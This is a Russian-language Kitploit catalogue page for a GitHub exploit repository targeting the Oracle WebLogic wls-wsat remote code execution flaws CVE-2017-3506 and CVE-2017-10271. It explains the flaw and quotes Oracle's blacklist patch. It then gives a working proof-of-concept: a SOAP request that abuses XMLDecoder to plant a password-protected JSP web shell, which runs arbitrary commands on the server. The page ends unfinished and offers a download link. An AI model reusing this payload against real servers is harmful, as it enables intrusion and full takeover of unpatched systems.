Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Oracle-WebLogic-CVE-2017-10271 — WebLogic wls-wsat RCE CVE-2017-10271 | Kitploit
Инструменты/GitHubGitHub/peterpeter228/oracle-weblogic-cve-2017-10271
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubpeterpeter228/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Репозиторий
5618 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Oracle-WebLogic-CVE-2017-10271

WebLogic wls-wsat RCE CVE-2017-10271

Описание уязвимости

Ранее хакеры использовали компонент WLS WebLogic для проведения масштабных удаленных атак на корпоративные серверы. Было скомпрометировано множество серверов, и количество атакованных компаний значительно возросло, что требует повышенного внимания. CVE-2017-3506 — это уязвимость удаленного выполнения кода в компоненте WLS Oracle WebLogic, эксплуатируемая в реальных условиях без публичного раскрытия деталей. Многие компании не успели своевременно установить исправление. Официальный патч для этой уязвимости был выпущен в апреле 2017 года.

Описание исправления CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

То есть перед десериализацией была добавлена функция validate, которая выбрасывает исключение, если qName равен object. Просто и грубо, однако такой «черный список» сложно сделать полностью надежным. Это заставляет задуматься…

Метод эксплуатации этой уязвимости довольно прост: злоумышленнику достаточно отправить специально сформированный HTTP-запрос, чтобы получить доступ к целевому серверу. Ущерб огромен. Поскольку уязвимость относительно новая, многие хосты до сих пор не обновлены. Ожидается, что после этого инцидента количество атак резко возрастет, и множество новых хостов будет скомпрометировано.

Официальный патч Oracle от апреля не полностью устранил уязвимость CVE-2017-3506 — его можно обойти и по-прежнему выполнять удаленные команды. Обходная уязвимость CVE-2017-10271 была исправлена в патче, выпущенном в октябре.

Идентификаторы уязвимости

CVE-2017-3506 (удаленное выполнение команд через wls-wsat) CVE-2017-10271 (обход исправления удаленного выполнения команд через wls-wsat)

Затронутые версии

Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.1.0 Oracle WebLogic Server 12.2.1.2.0

Метод эксплуатации

CVE-2017-3506

mitre: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Poc:

root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

Не закончено, пришлось выйти...

Скачать инструмент